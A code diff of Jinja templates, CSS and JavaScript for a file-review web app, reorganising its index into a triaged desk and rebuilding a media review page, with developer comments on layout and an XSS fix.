.docview .vbar{margin:0 calc(-1 * clamp(12px,3vw,20px)) 20px;border-radius:0}
.docview .textview{overflow-x:auto}
.doccap{margin:.9rem 0 1.2rem;padding:.6rem .85rem;font-size:.85rem;line-height:1.5;
color:var(--fg-1);background:var(--rk-surface,rgba(255,255,255,.04));
border-left:2px solid var(--aus-bright-cyan,#42dcd1);border-radius:0 6px 6px 0;
white-space:pre-wrap}
.doccap{margin:0 0 20px;padding:8px 14px;font-size:var(--size-body);line-height:var(--leading-body);
color:var(--text-body);border-left:3px solid var(--border-strong);white-space:pre-wrap}
.docmarks{display:flex;flex-direction:column;gap:8px;margin:0 0 20px}
.docbody{position:relative}
.docbody.is-blurred .markdown-body,.docbody.is-blurred .textview{filter:blur(22px);transition:filter var(--dur-2)}
.docbody.is-blurred.revealed .markdown-body,.docbody.is-blurred.revealed .textview,
.reveal-all .docbody.is-blurred .markdown-body,.reveal-all .docbody.is-blurred .textview{filter:none}
.reveal-all #docreveal{display:none}
#docreveal{position:absolute;top:10px;left:10px;z-index:2;cursor:pointer;font-family:var(--font-mono);
font-size:var(--size-micro);line-height:1;padding:6px 9px;border-radius:var(--radius-md);
border:1px solid rgb(255 255 255 / .16);background:oklch(0.17 0.01 250 / .86);color:oklch(0.91 0.008 216)}
</style>
<script>
(function () {
@@ -41,6 +59,14 @@
return !!(el && (el.isContentEditable ||
/^(input|textarea|select)$/i.test(el.tagName || '')));
}
var rv = document.getElementById('docreveal');
if (rv) {
rv.hidden = false;
rv.addEventListener('click', function () {
var on = document.getElementById('docbody').classList.toggle('revealed');
rv.textContent = on ? '🙈 hide' : '👁 reveal — blur is cosmetic';
});
}
document.addEventListener('keydown', function (e) {
if (isEditable(e.target)) return;
if (e.key === 'Escape') window.location.href = {{ ('/b/' ~ name_url ~ '/')|tojson }};
+154 -156
View File
@@ -1,136 +1,167 @@
{% extends "base.html" %}
{% from "_provenance.html" import provenance %}
{% from "_lifetime.html" import lifetime %}
{% block content %}
<form class="uploader" method="post" action="/upload" enctype="multipart/form-data">
<label class="drop" for="booth-files">
<span class="drop-icon">⬆</span>
<span class="drop-main">Upload files for pickup</span>
<span class="drop-sub" id="drop-sub">drop here, or click to choose · one pickup id, wiped in {{ ttl_hours }}h</span>
<input id="booth-files" name="files" type="file" multiple>
</label>
<button class="up-go" type="submit">Get pickup id →</button>
</form>
{% from "_dates.html" import dates %}
{# THE DESK (R2 C4). The index triaged by what needs the operator: needs you,
then new since you looked, then everything else — always in that order, and
the ORDER WITHIN each is decided in app.index, never here. A section with no
booths renders nothing at all: no heading, no empty box (the negative half
of the kept-lane pair this replaces). #}
{% if kept %}
{# Kept boards render FIRST and look different on purpose: they are durable
operator-facing things (the agent link board, standing reports) and the
point of the lane is that they cannot be lost in a feed that turns over
every day. No countdown — they have no expiry to advertise. #}
<h2 class="lane-head">Kept <span class="lane-note">· no expiry · <code>{{ keep_marker }}</code></span></h2>
<div class="grid kept-grid">
{% for b in kept %}
<article class="card card-kept">
<a class="thumb" href="/b/{{ b.name_url }}/">
{% if b.thumb_url %}
{# A cover blurred inside the booth must be blurred here too, or the
front page undoes the censoring the booth page applied. #}
<img class="{{ 'blurred-thumb' if b.thumb_blurred }}" loading="lazy"
src="/b/{{ b.name_url }}/{{ b.thumb_url }}" alt="">
{% elif b.has_index %}
<div class="ph">▦ page</div>
{% elif b.kinds.video %}
<div class="ph">▶ video</div>
{% elif b.kinds.audio %}
<div class="ph">♪ audio</div>
{% else %}
<div class="ph">◆ files</div>
{% endif %}
<span class="badge badge-kept">★ kept</span>
</a>
<div class="meta">
<a class="name" href="/b/{{ b.name_url }}/">{{ b.name }}</a>
<div class="sub">{{ b.count }} item{{ '' if b.count == 1 else 's' }} · {{ lifetime(true, b.hold, b.expires_in) }} · <a class="dl-link" href="/b/{{ b.name_url }}/?download=1" title="download this booth as a zip">⬇ zip</a></div>
{{ provenance(b.manifest) }}
</div>
{# There IS a × here now (operator, 2026-09-21). The old rule was
release-then-find-it-in-the-other-lane, on the theory that two
deliberate acts protect durable boards. In practice it protects
nothing and costs a hunt: the board you just released is loose in a
feed that turns over, and you have to go find it to finish the job
you had already decided on.
The protection now lives in the CONFIRMATION, not in the number of
lanes you must traverse — this one names the booth and says the word
KEPT, where the ephemeral × just asks. A deliberate act, one click,
reachable.
Release still exists and is still the reversible option. Note it
BUMPS the directory mtime, so the board's age resets and it survives
another full TTL — unkeep-and-wait is a 24h delay, not a delete,
which is exactly why a direct × was worth adding. #}
{# ⚠ BOTH OF THESE WERE position:absolute ON THE SAME CORNER, and `release`
is the later sibling, so it painted over the × completely: measured
30x22 px of overlap on a 30px button, and elementFromPoint at the ×'s
centre returned the release form. The × was unclickable from the day
it shipped.
One flex row, positioned once, instead of two independently guessed
offsets — so neither control can drift back on top of the other when
a label changes width. #}
<div class="kept-actions">
<form class="release" method="post" action="/b/{{ b.name_url }}/unkeep"
data-booth="{{ b.name }}" data-confirm="release">
<button title="release this board so it can be wiped">release</button>
</form>
<form class="wipe wipe-kept" method="post" action="/b/{{ b.name_url }}/delete"
data-booth="{{ b.name }}" data-confirm="wipe-kept">
<button title="wipe this KEPT booth now" aria-label="wipe kept booth">×</button>
</form>
</div>
</article>
{# The first four images, the originals shown small. A blurred one stays
blurred (`blurred-thumb`, the cover's rule). A booth with no images shows the
kind placeholder the cards used to. #}
{% macro preview(b) -%}
<a class="desk-strip" href="/b/{{ b.name_url }}/" tabindex="-1" aria-hidden="true">
{% if b.preview %}
{% for url, blurred in b.preview %}
<img class="{{ 'blurred-thumb' if blurred }}" loading="lazy" src="/b/{{ b.name_url }}/{{ url }}" alt="">
{% endfor %}
</div>
{% if booths %}<h2 class="lane-head">Ephemeral <span class="lane-note">· wiped {{ ttl_hours }}h after last activity</span></h2>{% endif %}
{% endif %}
{% if not booths %}
{% if not kept %}
<div class="empty">
No booths yet. Upload files above, or drop a folder into <code>{{ data_dir }}</code>.
</div>
{% elif b.has_index %}<span class="ph">▦ page</span>
{% elif b.kinds.video %}<span class="ph">▶ video</span>
{% elif b.kinds.audio %}<span class="ph">♪ audio</span>
{% else %}<span class="ph">◆ files</span>
{% endif %}
{% else %}
<div class="grid">
{% for b in booths %}
<article class="card">
<a class="thumb" href="/b/{{ b.name_url }}/">
{% if b.thumb_url %}
<img class="{{ 'blurred-thumb' if b.thumb_blurred }}" loading="lazy"
src="/b/{{ b.name_url }}/{{ b.thumb_url }}" alt="">
{% elif b.has_index %}
<div class="ph">▦ page</div>
{% elif b.kinds.video %}
<div class="ph">▶ video</div>
{% elif b.kinds.audio %}
<div class="ph">♪ audio</div>
{% else %}
<div class="ph">◆ files</div>
{% endif %}
{% if b.uploaded %}<span class="badge">⬆ pickup</span>{% endif %}
{% if b.marks_open %}<span class="badge badge-mark">? {{ b.marks_open }} open</span>{% endif %}
</a>
{%- endmacro %}
{% macro row(b, section) -%}
<article class="desk-row{% if section == 'needs' %} is-needs{% endif %}" data-booth="{{ b.name }}" data-kept="{{ '1' if b.kept else '0' }}">
{{ preview(b) }}
<div class="desk-main">
{# The manifest title leads when there is one; the directory name stays
beside it because it is what the URL says. #}
<a class="desk-title" href="/b/{{ b.name_url }}/">
{%- if b.manifest and not b.manifest.error and b.manifest.title and b.manifest.title != b.name -%}
{{ b.manifest.title }} <span class="desk-slug">{{ b.name }}</span>
{%- else -%}{{ b.name }}{%- endif -%}
</a>
<div class="meta">
<a class="name" href="/b/{{ b.name_url }}/">{{ b.name }}</a>
<div class="sub">{{ b.count }} item{{ '' if b.count == 1 else 's' }} · {{ lifetime(false, b.hold, b.expires_in) }} · <a class="dl-link" href="/b/{{ b.name_url }}/?download=1" title="download this booth as a zip">⬇ zip</a></div>
{{ provenance(b.manifest) }}
{{ provenance(b.manifest) }}
{# Facts only: counts and dates. The lifetime is state (the pill) and
the controls are actions (the cluster); neither lives here. #}
<div class="desk-facts">
{{ b.count }} item{{ '' if b.count == 1 else 's' }}
{%- if b.flags %} · <span class="desk-flags">{{ b.flags }} flagged</span>{% endif %}
{{- dates(b.created_at, b.landed_at, now) }}
</div>
{# Promote to the kept lane. The /keep route and the `booth keep` CLI verb
both predate this button; until 2026-09-19 the UI could only RELEASE a
kept booth, never keep an ephemeral one, so the round trip was only
closed if you had a shell. Reversible, so no confirmation — the × next
to it is the destructive one and keeps its prompt. #}
<form class="keepit" method="post" action="/b/{{ b.name_url }}/keep">
<button title="keep — exempt from the {{ ttl_hours }}h sweep" aria-label="keep booth">★</button>
</form>
</div>
{# The right column: badges, then the LIFETIME PILL, always visible — state,
not a control, so it stays when the controls hide, and down the Desk it
reads as one column of kept / held / counting (operator: "make it
obvious which are kept and which are ephemeral"). #}
<div class="desk-side">
{% if b.marks_open %}<span class="badge badge-mark">? {{ b.marks_open }} open</span>
{% elif b.hold == "unreadable" %}<span class="badge badge-broken">marks unreadable</span>
{% elif section == 'new' %}<span class="badge badge-new">new</span>{% endif %}
{% if b.uploaded %}<span class="badge">⬆ pickup</span>{% endif %}
{# r2b D2b: a fogged strip says why. Information, not the control. #}
{% if b.booth_blurred %}<span class="badge badge-blur" title="the whole booth is blurred — cosmetic only">◉ blurred</span>{% endif %}
<span class="life {{ 'life-kept' if b.kept else ('life-held' if b.hold in ('open', 'unreadable') else 'life-count') }}">{{ lifetime(b.kept, b.hold, b.expires_in) }}</span>
</div>
{# The row's controls, LAST in the markup so the booth's name comes first
in tab order (heid bug-hunt: wipe used to be reachable before the booth
it acts on). Where a real hover exists they float over the strip's
top-right corner — covering pictures, never information — and appear
only on hover or keyboard focus (operator: "download, keep and release
buttons only appear on mouseover"; x hides too, his answer). Anywhere
else they are the row's last line, visible: hover-only would mean no
controls at all on touch. Order: zip, keep or release, then wipe set
apart — zip out of the middle (operator), release still next to x. #}
<div class="desk-acts">
<a class="dl-link" href="/b/{{ b.name_url }}/?download=1" title="download this booth as a zip">⬇ zip</a>
{%- if b.kept %}
<form class="release" method="post" action="/b/{{ b.name_url }}/unkeep"
data-booth="{{ b.name }}" data-confirm="release"><button title="release this booth so it can be wiped">release</button></form>
<form class="wipe wipe-kept" method="post" action="/b/{{ b.name_url }}/delete"
data-booth="{{ b.name }}" data-confirm="wipe-kept"><button title="wipe this KEPT booth now" aria-label="wipe the kept booth {{ b.name }}">× wipe</button></form>
{%- else %}
<form class="keepit" method="post" action="/b/{{ b.name_url }}/keep"><button title="keep — exempt from the {{ ttl_hours }}h sweep" aria-label="keep booth">★ keep</button></form>
<form class="wipe" method="post" action="/b/{{ b.name_url }}/delete"
data-booth="{{ b.name }}" data-confirm="wipe">
<button title="wipe now" aria-label="wipe booth">×</button>
</form>
</article>
{% endfor %}
data-booth="{{ b.name }}" data-confirm="wipe"><button title="wipe now" aria-label="wipe the booth {{ b.name }}">× wipe</button></form>
{%- endif %}
</div>
</article>
{%- endmacro %}
{% block content %}
<h1 class="sr-only">Desk</h1>
<div class="desk">
<div class="desk-list">
{% if needs %}
<section class="desk-sec" data-section="needs">
<h2 class="desk-head desk-head-needs">Needs you <span class="desk-rule">oldest question first</span></h2>
{% for b in needs %}{{ row(b, 'needs') }}{% endfor %}
</section>
{% endif %}
{% if new %}
<section class="desk-sec" data-section="new">
<h2 class="desk-head desk-head-new">New since you looked <span class="desk-rule">newest first</span></h2>
{% for b in new %}{{ row(b, 'new') }}{% endfor %}
</section>
{% endif %}
{% if rest %}
<section class="desk-sec" data-section="rest">
<h2 class="desk-head">Everything else <span class="desk-rule">last updated first</span></h2>
{% for b in rest %}{{ row(b, 'rest') }}{% endfor %}
</section>
{% endif %}
{% if not needs and not new and not rest %}
<div class="empty">
No booths yet. Drop a folder into <code>{{ data_dir }}</code>, or upload files for pickup.
</div>
{% endif %}
</div>
{% endif %}
<aside class="desk-aside">
{# Benches: running things. DAMAGED AND ABSENT MUST NOT RENDER THE SAME —
an unreadable registry says so; an empty one renders no panel. #}
{% if benches_error %}
<section class="desk-panel" data-panel="benches">
<h2 class="desk-panel-head">Benches</h2>
<div class="bench-err">the bench registry could not be read: {{ benches_error }}</div>
</section>
{% elif benches %}
<section class="desk-panel" data-panel="benches">
<h2 class="desk-panel-head">Benches <span class="desk-rule">running things</span></h2>
{% for b in benches %}
{# Agent-written URLs: only http(s) becomes a link. Autoescape stops markup,
not a `javascript:` scheme, so anything else renders as plain text. #}
{% set web = b.url.lower().startswith(('http://', 'https://')) %}
<{{ 'a' if web else 'div' }} class="desk-bench is-{{ b.state }}"{% if web %} href="{{ b.url }}" target="_blank" rel="noopener"{% endif %}>
<span class="desk-bench-dot" aria-hidden="true"></span>
<span class="desk-bench-main"><span class="desk-bench-name">{{ b.name or b.url }}</span>
<span class="desk-bench-sub">{% if b.owner %}{{ b.owner }} · {% endif %}{{ b.state }}</span></span>
</{{ 'a' if web else 'div' }}>
{% endfor %}
</section>
{% endif %}
{% if bookmarks %}
<section class="desk-panel" data-panel="bookmarks">
<h2 class="desk-panel-head">Bookmarks <span class="desk-rule">pinned first</span></h2>
{% for e in bookmarks %}
{% set web = e.url.lower().startswith(('http://', 'https://')) %}
<{{ 'a' if web else 'div' }} class="desk-mark{% if e.pinned %} is-pinned{% endif %}"{% if web %} href="{{ e.url }}" target="_blank" rel="noopener"{% endif %}>
{{ e.desc }}{% if e.who %}<span class="desk-bench-sub">{{ e.who }}</span>{% endif %}</{{ 'a' if web else 'div' }}>
{% endfor %}
<a class="desk-more" href="{{ board_url }}">all {{ bookmarks_total }} on the board →</a>
</section>
{% endif %}
<section class="desk-panel" data-panel="pickup">
<h2 class="desk-panel-head">Pickup</h2>
<form class="uploader" method="post" action="/upload" enctype="multipart/form-data">
<label class="drop" for="booth-files">
<span class="drop-icon">⬆</span>
<span class="drop-main">Upload files for pickup</span>
<span class="drop-sub" id="drop-sub">drop here, or click · wiped in {{ ttl_hours }}h</span>
<input id="booth-files" name="files" type="file" multiple>
</label>
<button class="up-go" type="submit">Get pickup id →</button>
</form>
</section>
</aside>
</div>
<script>
/* progressive enhancement: reflect chosen files + drag-drop onto the panel.
@@ -162,38 +193,5 @@
});
})();
/* Destructive-action confirmation, delegated and DATA-DRIVEN.
These were an inline onsubmit calling confirm() with the booth NAME
interpolated straight into the JS string literal. Jinja's autoescape is
HTML-attribute escaping, not JS-string escaping: the browser decodes the
entity back to a quote before the JS parser ever sees it, so a booth name
crafted to close that string executed on submit. Booth names are
agent-authored — making a folder under the data dir is the whole API — so
that is a live path, not a theoretical one.
The name now travels as a DATA ATTRIBUTE, where escaping is escaping, and
never reaches a JS string literal. Same pattern the board controls already
use. With JS off the form submits without a prompt, which is what every
no-JS browser here already did. */
(function () {
var WORDS = {
release: function (n) {
return 'Release \u201c' + n + '\u201d?\n\nIt moves to the ephemeral lane so you '
+ 'can wipe it from there. Nothing is deleted by this step.';
},
'wipe-kept': function (n) {
return 'WIPE the KEPT booth \u201c' + n + '\u201d?\n\nThis deletes it and its files '
+ 'immediately. Kept booths are the ones nothing else will clean up, so nobody '
+ 'else is going to do this for you \u2014 and nothing brings it back.';
},
wipe: function (n) { return 'Wipe booth \u201c' + n + '\u201d?'; }
};
document.addEventListener('submit', function (ev) {
var form = ev.target.closest ? ev.target.closest('form[data-confirm]') : null;
if (!form) return;
var word = WORDS[form.getAttribute('data-confirm')];
if (word && !confirm(word(form.getAttribute('data-booth') || ''))) ev.preventDefault();
}, true);
})();
</script>
{% endblock %}
+6 -1
View File
@@ -1,6 +1,7 @@
{% extends "base.html" %}
{% from "_lifetime.html" import lifetime %}
{% block title %}{{ name }} · marks · The Booth{% endblock %}
{% block html_attrs %} data-booth="{{ name }}"{% endblock %}
{% block content %}
{# The marks page for a booth whose own index.html is served VERBATIM. That page
cannot render the panel inline (it is returned untouched by design), so the
@@ -12,12 +13,16 @@
{# `marks_open` comes from open_marks() — the ONE openness predicate (INV-2).
This used to re-derive it in Jinja as `selectattr('answer', 'none')`, which
read a half-answered pick as closed. #}
<span class="sub">{% if marks_open %}<span class="badge badge-mark">{{ marks_open }} open</span> · {% endif %}{{ marks|length }} mark{{ '' if marks|length == 1 else 's' }} · {{ lifetime(kept, hold, expires_in) }}</span>
<span class="region-wrap" data-region="booth-status"><span class="sub">{% if marks_open %}<span class="badge badge-mark">{{ marks_open }} open</span> · {% endif %}{{ marks|length }} mark{{ '' if marks|length == 1 else 's' }} · {{ lifetime(kept, hold, expires_in) }}</span></span>
</div>
{# One region around both branches, so answering the last mark away swaps in
the empty state instead of reading as a structural change. #}
<div class="marks-panel" data-region="marks-panel">
{% if marks %}
{% include "_marks.html" %}
{% else %}
<div class="empty">This booth has no marks.</div>
{% include "_marks.html" %}
{% endif %}
</div>
{% endblock %}
+267 -84
View File
@@ -1,118 +1,301 @@
{% extends "base.html" %}
{% block title %}{{ file }} · {{ name }} · The Booth{% endblock %}
{% block html_attrs %} data-booth="{{ name }}"{% endblock %}
{% block body_attrs %} class="page-stage"{% endblock %}
{# THE REVIEW (R2 C6). One media item at full size — image, video or audio —
with the judgment on screen beside it, the whole set as a filmstrip below and
the tape above. Docs keep doc.html. Everything a mark can change is a
`data-region` the in-place script swaps (the rail, the filmstrip, the tape);
THE STAGE NEVER IS — swapping it would restart a playing track. #}
{% macro num(n) -%}#{{ "%0*d"|format(ord_width, n) }}{%- endmacro %}
{% block content %}
<div class="viewer">
<h1 class="sr-only">{{ file }}</h1>
<div class="viewer review">
<div class="vbar">
<a class="vbtn vx" href="/b/{{ name_url }}/" title="back to gallery (Esc)">✕</a>
<span class="vname">{{ file }}</span>
<a class="vbtn vx" href="{{ back_url }}" title="back to the grid (Esc)" aria-label="back to the grid">✕</a>
<span class="vname"><span class="ord">{{ num(ordinal) }}</span> {{ file }}</span>
<span class="vspacer"></span>
<span class="vtoggle" id="vtoggle" style="display:none">
<button type="button" class="vseg on" id="btn-fit">Fit</button><button type="button" class="vseg" id="btn-one">1:1</button>
{# R3: this item against the next one in the ring, side by side (C). #}
{% if compare_url %}<a class="vbtn vcompare" href="{{ compare_url }}" title="compare with the next item (C)"><span aria-hidden="true">⇆</span><span class="vcompare-l"> compare</span></a>{% endif %}
{% if kind == 'image' %}
{# A JS-only VIEWING convenience (INV-3): hidden until the script shows it,
and only ever rendered for a picture. With scripts off the image shows at
fit size and no judgment depends on this. #}
<span class="vtoggle" id="vtoggle" hidden>
<button type="button" class="vseg on" id="btn-fit" aria-pressed="true" title="the whole picture, as large as the stage allows">Fit</button><button type="button" class="vseg" id="btn-one" aria-pressed="false" aria-label="1:1, natural pixels" title="natural pixels — drag to pan a large picture">1:1</button>
</span>
<a class="vbtn" href="{{ file_url }}" download title="download {{ file }}">⬇</a>
{% endif %}
{# r2b D2b + D2, in the top bar: outside every data-region, so no swap
replaces them. The fog form carries `back` and lands on this item. #}
<span class="region-wrap" data-region="blur-booth"><form class="blur-all{% if booth_blurred %} is-on{% endif %}" method="post" action="/b/{{ name_url }}/blurbooth">
<input type="hidden" name="on" value="{{ '0' if booth_blurred else '1' }}">
<input type="hidden" name="back" value="{{ file }}">
<button title="{{ 'un-blur the whole booth' if booth_blurred else 'blur every image and video in this booth — cosmetic only' }}">{{ '◉ booth blurred' if booth_blurred else '◌ blur booth' }}</button>
</form></span>
{% if film | selectattr('blurred') | list %}<button type="button" class="reveal-all-btn" data-reveal-all hidden title="blur is cosmetic — the files are still served"><span class="ra-label">👁 reveal all</span><span class="ra-note"> — blur is cosmetic</span></button>{% endif %}
<a class="vbtn" href="{{ file_url }}" download title="download {{ file }}" aria-label="download {{ file }}">⬇</a>
</div>
{% if prev_url %}<a class="vnav vprev" href="?f={{ prev_url }}" title="previous (←)" aria-label="previous image">‹</a>{% endif %}
{% if next_url %}<a class="vnav vnext" href="?f={{ next_url }}" title="next (→)" aria-label="next image">›</a>{% endif %}
<div class="vstage fit" id="vstage"><img id="vimg" src="{{ file_url }}" alt="{{ file }}"></div>
{# THE ANNOTATION, at full size. It was never rendered here before U1 — not
because the template dropped it, but because the route never resolved it.
A caption is most useful at the size where you are actually judging the
thing, so it belongs here at least as much as in the grid. #}
{% if caption %}<div class="vcap">{{ caption }}</div>{% endif %}
{# INV-3: the JUDGMENT travels to full size too, not just the caption. This is
the size at which the operator is actually deciding, so the flag toggle and
the notes belong here at least as much as on the tile. #}
<div class="vmarks">
<form class="vflag" method="post" action="/b/{{ name_url }}/flag">
<input type="hidden" name="target" value="{{ file }}">
<input type="hidden" name="on" value="{{ '0' if flagged else '1' }}">
<button class="vbtn{% if flagged %} is-flagged{% endif %}"
title="{{ 'un-flag this item' if flagged else 'flag this one' }}"
>{{ '✔ flagged' if flagged else '○ flag' }}</button>
</form>
{% for m in marks if m.shape == 'note' %}
<div class="vnote"><pre>{{ m.text }}</pre>
<form method="post" action="/b/{{ name_url }}/unmark">
<input type="hidden" name="mark" value="{{ m.id }}">
<button class="mark-x" title="withdraw this note">×</button>
{# THE TAPE (B's device): one segment per item in the review ring — seen,
flagged, current — so how far through the set you are is always in view. #}
<div class="tape" data-region="tape" role="img" aria-label="{{ seen_n }} of {{ ring_m }} seen">
<div class="tape-segs">
{% for x in film %}
<a class="tape-s{% if x.current %} is-current{% elif x.flagged %} is-flagged{% elif x.seen %} is-seen{% endif %}"
href="?f={{ x.url }}" title="{{ num(x.ordinal) }} {{ x.name }}" tabindex="-1" aria-hidden="true"></a>
{% endfor %}
</div>
<span class="tape-count">{{ seen_n }} of {{ ring_m }} seen</span>
</div>
<div class="review-body">
{% if prev_url %}<a class="vnav vprev" href="?f={{ prev_url }}" title="previous (←)" aria-label="previous">‹</a>{% endif %}
<div class="vstage{% if kind == 'image' %} is-img{% endif %}{% if blurred %} is-blurred{% endif %}" id="vstage">
{% if kind == 'image' %}<img id="vimg" src="{{ file_url }}" alt="{{ file }}" draggable="false">
{% elif kind == 'video' %}<video id="vmedia" controls preload="metadata" src="{{ file_url }}"></video>
{% else %}<audio id="vmedia" controls preload="metadata" src="{{ file_url }}"></audio>
{% endif %}
</div>
{# The stage's reveal sits OVER the stage, outside its scrolled content
(r2c): in 1:1 a panned picture would otherwise carry it out of view, and
outside the stage it can never start a pan. #}
{# JS-only, so `hidden` until the script binds it (heid bug-hunt: shown with
scripts off, it did nothing) — the toggle's own pattern. #}
{% if blurred %}<button type="button" class="reveal" id="vreveal" aria-label="reveal {{ file }}" hidden>👁 reveal — blur is cosmetic</button>{% endif %}
{% if next_url %}<a class="vnav vnext" href="?f={{ next_url }}" title="next (→)" aria-label="next">›</a>{% endif %}
<aside class="vrail" id="rail" data-region="rail" aria-label="your judgment">
<div class="vr-sec">
<div class="vr-where"><span class="ord">{{ num(ordinal) }}</span> · {{ ring_k }} of {{ ring_m }}
{%- if group %} · {{ group.k }} of {{ group.n }} in {{ group.key }}{% endif %}</div>
{# THE ANNOTATION, at full size — the size where it is most readable. #}
{% if caption %}<div class="vcap">{{ caption }}</div>{% endif %}
</div>
<div class="vr-sec vr-judge">
<form class="vflag" method="post" action="/b/{{ name_url }}/flag" data-inplace>
<input type="hidden" name="target" value="{{ file }}">
<input type="hidden" name="on" value="{{ '0' if flagged else '1' }}">
<input type="hidden" name="back" value="view">
<input type="hidden" name="f" value="{{ file }}">
<button class="vbtn vflag-btn{% if flagged %} is-flagged{% endif %}" id="vflag-btn"
title="{{ 'un-flag this item' if flagged else 'flag this one' }} (F)"
>{{ '✔ flagged' if flagged else '○ flag' }} <kbd>F</kbd></button>
</form>
{% for m in marks if m.shape == 'note' %}
<div class="vnote"><pre>{{ m.text }}</pre>
<form method="post" action="/b/{{ name_url }}/unmark" data-inplace>
<input type="hidden" name="mark" value="{{ m.id }}">
<input type="hidden" name="back" value="view">
<input type="hidden" name="f" value="{{ file }}">
<button class="mark-x" title="withdraw this note" aria-label="withdraw this note">×</button>
</form>
</div>
{% endfor %}
<form class="vaddnote" method="post" action="/b/{{ name_url }}/note" data-inplace>
<input type="hidden" name="target" value="{{ file }}">
<input type="hidden" name="back" value="view">
<input type="hidden" name="f" value="{{ file }}">
<textarea name="text" id="vnote-text" rows="2" aria-label="a note on this item" placeholder="a note on this item (N)"></textarea>
<button type="submit">Add note</button>
</form>
</div>
{% endfor %}
<form class="vaddnote" method="post" action="/b/{{ name_url }}/note">
<input type="hidden" name="target" value="{{ file }}">
<textarea name="text" rows="2" placeholder="a note on this item"></textarea>
<button type="submit">Add note</button>
</form>
{# A question ABOUT this item is answerable here. #}
{% if item_picks %}
<div class="vr-sec">
{% with marks=item_picks, picks_only=true, back_view=file, marks_page=false %}{% include "_marks.html" %}{% endwith %}
</div>
{% endif %}
{% if is_last %}
{# THE END OF THE SET — not a separate page: on the last item the rail
adds the summary and every question still open on the booth. #}
<div class="vr-sec vr-end">
<p class="vr-end-head">End of the set · {{ seen_n }} of {{ ring_m }} seen · {{ tray|length }} flagged</p>
{% if tray %}
<div class="tray">
{% for x in tray %}
<a class="tray-item{% if x.blurred %} is-blurred{% endif %}" href="?f={{ x.url }}" title="{{ x.name }}">
<span class="sr-only">{{ x.name }}</span>{%- if x.kind == 'image' %}<img loading="lazy" decoding="async" src="{{ x.thumb or x.url }}" alt="">{% else %}<span class="tray-kind">{{ x.kind }}</span>{% endif -%}
<span class="tray-ord">{{ num(x.ordinal) }}</span></a>
{% endfor %}
</div>
{% endif %}
{% if other_picks %}
{% with marks=other_picks, picks_only=true, back_view=file, marks_page=false %}{% include "_marks.html" %}{% endwith %}
{% endif %}
</div>
{% elif other_picks %}
<div class="vr-sec vr-more">
<a href="/b/{{ name_url }}/">{{ other_picks|length }} more open question{{ '' if other_picks|length == 1 else 's' }} on this booth →</a>
</div>
{% endif %}
<div class="vr-keys"><kbd>←</kbd> <kbd>→</kbd> <kbd>Space</kbd> move · <kbd>F</kbd> flag · <kbd>N</kbd> note · <kbd>C</kbd> compare · <kbd>Esc</kbd> grid</div>
</aside>
</div>
{# THE FILMSTRIP: the review ring in set order, numbered like the tiles,
flagged frames underlined, the current one in the reticle. #}
<nav class="film" data-region="film" aria-label="the set">
{% for x in film %}
<a class="film-f{% if x.flagged %} is-flagged{% endif %}{% if x.current %} is-current{% endif %}{% if x.blurred %} is-blurred{% endif %}"
href="?f={{ x.url }}" title="{{ x.name }}"{% if x.current %} aria-current="true"{% endif %}>
<span class="sr-only">{{ x.name }}</span>{%- if x.kind == 'image' %}<img loading="lazy" decoding="async" src="{{ x.thumb or x.url }}" alt="">{% else %}<span class="film-kind">{{ '♪' if x.kind == 'audio' else '▶' }}</span>{% endif -%}
<span class="film-ord">{{ num(x.ordinal) }}</span></a>
{% endfor %}
</nav>
</div>
<style>
.vnav{position:fixed;top:50%;transform:translateY(-50%);z-index:40;display:flex;
align-items:center;justify-content:center;width:2.6rem;height:3.4rem;font-size:2rem;
line-height:1;text-decoration:none;color:var(--fg-1);background:rgba(20,23,32,.55);
border:1px solid rgba(255,255,255,.10);border-radius:10px;margin:0 .5rem;user-select:none;
-webkit-backdrop-filter:blur(4px);backdrop-filter:blur(4px);transition:background .15s,border-color .15s}
.vnav:hover{background:rgba(28,33,46,.92);border-color:var(--aus-bright-cyan,#42dcd1)}
.vnav{position:absolute;top:50%;transform:translateY(-50%);z-index:4;display:flex;
align-items:center;justify-content:center;width:40px;height:56px;font-size:28px;
line-height:1;text-decoration:none;color:oklch(0.91 0.008 216);background:oklch(0.17 0.01 250 / .82);
border:1px solid rgb(255 255 255 / .12);border-radius:var(--radius-lg);margin:0 8px;user-select:none;
-webkit-backdrop-filter:blur(4px);backdrop-filter:blur(4px);
transition:background var(--dur-1) var(--ease-out),border-color var(--dur-1) var(--ease-out)}
.vnav:hover{background:oklch(0.21 0.01 248 / .92);border-color:rgb(255 255 255 / .3);text-decoration:none;
color:oklch(0.91 0.008 216)}
/* The next arrow clears the 360px verdict rail only while the rail sits
beside the stage. Scoped to the wide layout: stated bare, this rule came
later in the page than base.html's narrow override and silently won it,
parking the arrow 360px in from the edge of a phone. */
.vprev{left:0}.vnext{right:0}
/* Bottom bar rather than the top chrome: a caption can run to CAPTION_MAX
(800 chars), which would shove the filename and the Fit/1:1 toggle around. */
.vcap{flex:0 0 auto;max-height:22vh;overflow-y:auto;padding:.6rem clamp(12px,3vw,20px);
font-size:.85rem;line-height:1.5;color:var(--fg-1);background:var(--rk-surface,rgba(20,23,32,.92));
border-top:1px solid rgba(255,255,255,.10);white-space:pre-wrap}
@media print{.vcap{max-height:none;overflow:visible}}
@media print{.vnav{display:none}}
@media (min-width:901px){.vnext{right:360px}}
/* Stacked (<=900px) the stage is the body's first 60vh, so its centre is 30vh
down: the arrows' spot before the script places them (JS off, loading,
failed), never over the rail below (heid code-review). HERE, after .vnav:
in base.html this page's own later rule silently won it (the Nyx trap). */
@media (max-width:900px){.vnav{top:30vh}}
.vcap{margin-top:10px;max-height:30vh;overflow-y:auto;font-size:var(--size-sm);line-height:var(--leading-body);
color:var(--text-body);white-space:pre-wrap}
@media print{.vcap{max-height:none;overflow:visible}.vnav{display:none}}
</style>
{% include "_stage_js.html" %}
<script>
(function () {
var img = document.getElementById('vimg');
var stage = document.getElementById('vstage');
var toggle = document.getElementById('vtoggle');
var bFit = document.getElementById('btn-fit');
var bOne = document.getElementById('btn-one');
var BACK = {{ ('/b/' ~ name_url ~ '/')|tojson }};
var BACK = {{ back_url|tojson }};
var PREV = {{ (('?f=' ~ prev_url) if prev_url else '')|tojson }};
var NEXT = {{ (('?f=' ~ next_url) if next_url else '')|tojson }};
var COMPARE = {{ compare_url|tojson }};
function setMode(mode) {
var fit = mode === 'fit';
stage.classList.toggle('fit', fit);
stage.classList.toggle('one', !fit);
bFit.classList.toggle('on', fit);
bOne.classList.toggle('on', !fit);
}
// "fits" == the image at natural size already sits inside the stage, so Fit
// and 1:1 would render identically — in that case we hide the toggle entirely.
function fits() {
